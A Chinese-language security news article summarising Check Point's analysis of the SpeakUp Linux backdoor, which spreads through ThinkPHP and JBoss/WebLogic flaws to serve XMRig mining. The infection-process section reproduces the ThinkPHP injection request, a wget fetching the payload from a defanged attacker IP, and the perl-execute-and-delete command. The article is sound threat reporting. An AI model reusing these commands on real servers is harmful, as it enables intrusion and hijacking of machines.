网络安全公司Check Point的研究人员在最新发布的一份分析报告中指出,他们于近日发现一场利用试图Linux服务器漏洞来植入一种新型后门木马的恶意攻击活动。值得注意的是,这种新型木马几乎绕过了VirusTotal(一个提供免费的可疑文件分析服务的网站)上所有杀毒引擎的检测。

根据其中一台命令和控制(C2)服务器的名称,Check Point的研究人员将这种新型木马命名为“SpeakUp”。据称,这种新型木马能够利用6个不同的Linux发布版中的已知漏洞。其目前的主要攻击目标是东亚和拉美地区的Linux服务器,包括托管在亚马逊ASW云服务上的服务器(感染情况见下图)。

Check Point的分析报告指出,SpeakUp能够利用远程代码执行漏洞在受感染服务器所处的内网传播,进而感染更多的服务器。不仅如此,SpeakUp的后门功能还使得它能够感染Mac设备。

感染过程

根据Check Point分析报告的描述,SpeakUp的感染过程从利用ThinkPHP(轻量级PHP开发框架)的一个漏洞开始,以及使用命令注入技术上传一个用来植入并执行pPerl(一种功能丰富的计算机程序语言)后门的PHP shell脚本。

漏洞利用通过三个步骤完成:

  • 步骤1:利用CVE-2018-20062来上传PHP shell脚本

使用GET请求(如下所示),通过ThinkPHP远程代码执行漏洞CVE-2018-20062将shell脚本发送到目标服务器:

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>index.php

这个shell脚本接下来会通过query中的“module”参数来执行命令。

  • 步骤2:植入后门

发送另一个HTTP请求(如下所示)到目标服务器:

/?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc

实际上,这是一个注入过程,目的是植入ibus payload并将其存储到位置/tmp/e3ac24a0bcddfacd010a6c10f4a814bc

  • 步骤2:启动后门

使用如下HTTP请求来执行后门:

/?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc

执行perl后门,休眠2秒钟,并通过删除该文件来清除感染痕迹。

后门分析

据称,Check Point分析报告中展示的SpeakUp样本(ibus)是于今年1月14日在一台位于我国的服务器上发现的。调查发现,该样本实际上在1月9日就已经被上传到了VirusTotal(一个提供免费的可疑文件分析服务的网站)。VirusTotal的检测结果显示,没有任何一款安全产品将它检测为恶意。

为了逃避安全检测,SpeakUp的代码采用了base64加盐算法加密。不仅如此,C2通信也是采用了相同的方式加密。这也是为什么VirusTotal上的杀毒引擎无法将其检测为恶意的原因所在。

受感染服务器注册

分析报告指出,SpeakUp使用的是HTTP上的POST和GET请求来与其C2服务器进行通信。其中,C2服务器是一个被黑掉的网站。

第一个post请求发送的是受感染服务器ID和其他介绍性的信息,比如已安装脚本的当前版本等。

第一个C2响应是“needrgr”,表示受感染服务器之前未在C2服务器上注册,需要注册。

之后,SpeakUp会通过执行如下Linux命令来POST受感染服务器的完整信息:

  • Uname (-r, -v, -m, -n,-a, -s)
  • Whoami
  • Ifconfig –a
  • Arp –a
  • cat /proc/cpuinfo | grep -c “cpu family” 2>&1
  • who –b

SpeakUp的主要功能

在注册过程完成之后,SpeakUp会继续与C2服务器进行通信。

C2服务器返回的命令如下:

  • “newtask”-在本地计算机上执行任意代码,从远程服务器下载和执行文件,杀死或卸载程序,发送更新的指纹数据。
  • “notask”-休眠3秒,并请求其他命令。
  • “newerconfig”-更新下载的矿工配置文件。

需要说明的是,SpeakUp的持久性是通过cron(计划任务)和内部mutex(互斥锁)来实现的。

感染后的通信

一旦受感染服务器注册完成,C2服务器就会发送新的任务——不同的C2服务器会命名受感染服务器来下载和执行不同的文件。

有一个需要注意的点是,SpeakUp使用了User-Agent用户代理。具体来说,SpeakUp定义了三个用户代理,而受感染服务器在与C2服务器进行通信时必须使用这些代理。其中两个代理是MacOS X User-Agent,第三个是经过哈希处理的字符串:

  • Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD
  • Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
  • E9BC3BD76216AFA560BFB5ACAF5731A3

目前,SpeakUp主要服务于XMRig矿工,为其提供“肉鸡(受感染服务器)”。根据XMRHunter网站的查询结果显示,攻击者的钱包目前拥有约107枚门罗币。

自我传播能力

攻击者还为SpeakUp配备了一个“i”模块,它实际上是一个python脚本,使得SpeakUp能够扫描和感染位于受感染服务器所处内网和外网的其他更多的Linux服务器。其主要功能有:

  • 使用预定义的用户名和密码来暴力破解尝试登陆管理面板;
  • 扫描受感染服务器的网络环境,检测共享相同内部和外部子网掩码的服务器上的特定端口的可用性;
  • 尝试利用目标服务器上的远程代码执行漏洞,具体如下:

a) CVE-2012-0874:JBoss Enterprise Application Platform安全限制绕过漏洞;

b) CVE-2010-1871:JBoss Seam Framework远程代码执行漏洞;

c) JBoss AS 3/4/5/6:远程代码执行漏洞;

d) CVE-2017-10271:Oracle WebLogic wls-wsat Component Deserialization远程代码执行漏洞;

e) CVE-2018-2894:Oracle Fusion Middleware的Oracle WebLogic服务器漏洞;

f) Hadoop YARN ResourceManager:命令执行漏洞;

g) CVE-2016-3088:Apache ActiveMQ文件服务器文件上传远程代码执行漏洞。

以上任何一个漏洞被成功利用,都会导致服务器感染SpeakUp木马。

声明:本文来自黑客视界,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。